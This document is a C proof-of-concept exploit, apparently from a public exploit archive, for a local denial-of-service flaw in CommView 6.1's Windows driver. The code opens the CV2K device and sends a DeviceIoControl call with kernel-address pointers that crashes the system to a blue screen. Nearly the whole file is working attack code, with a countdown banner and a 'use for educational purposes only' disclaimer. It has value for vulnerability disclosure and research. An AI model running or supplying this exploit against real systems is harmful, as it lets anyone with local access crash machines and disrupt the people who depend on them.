|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113  |  /*-------------------------------------------------------------------------*/ /** # Exploit Title : CommView Version 6.1 (Build 636) Local Denial Of Service (BSOD)  # Corelan : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-030 # Date: April 23rd, 2010 # Author: p4r4N0ID (T.B) # Bug found by: p4r4N0ID (T.B) # Software Link : http://www.tamos.com/download/main/ # Version : Version 6.1 (Build 636) # OS: Windows # Tested on : Windows XP sp2 En (VMWARE) # Type of vuln: DoS # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes. # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # **/ /*--------------------------------------------------------------------------*/ #include <windows.h> #include <stdio.h> VOID ShowError() {  LPVOID lpMsgBuf;  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,  NULL,  GetLastError(),  MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),  (LPTSTR) &lpMsgBuf,  0,  NULL);  MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);  exit(1); } int __cdecl main( int argc , char * argv[]) {  HANDLE hDevice;  DWORD junk;  int i = 10;  system("cls");   printf ("|------------------------------------------------------------------|");  printf ("| __ __|");  printf ("| _________________/ /___ _____ / /________ _____ ___|");  printf ("|/ ___/ __ \/ ___/ _ \/ / __ <code>/ __ \ / __/ _ \/ __ </code>/ __ `__ \ |");  printf ("| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |");  printf ("| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|");  printf ("||");  printf ("| http://www.corelan.be:8800 |");  printf ("|security@corelan.be |");  printf ("||");  printf ("|-------------------------------------------------[ EIP Hunters ]--|");  printf ("[+] CommView Local Denial Of Service (BSOD) - by p4r4N0ID(T.B)");  //CHANGE the GUID so it match your device name  //find it in:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}  hDevice = CreateFileA("\\\\.\\CV2K_{916BB164-6D0D-45C0-B6C2-79B42A522C17}",  0,  FILE_SHARE_READ | FILE_SHARE_WRITE,  NULL,  OPEN_EXISTING,  0,  NULL);  if (hDevice == INVALID_HANDLE_VALUE)  {  ShowError();  return EXIT_FAILURE;  }  printf("\n\n\t\t[!] Started Countdown");  for(i;i>=1;i--)  {  printf("\r -[ %d ]- ",i);  if(i==1) printf("\n[+] Bye Bye, BOOM!!!");  Sleep(1000);  }   DeviceIoControl(hDevice,   0x00002578,   (LPVOID) 0x80000001,  0,  (LPVOID) 0x80000002,  0,  &junk,  (LPOVERLAPPED)NULL);  return EXIT_SUCCESS; }  |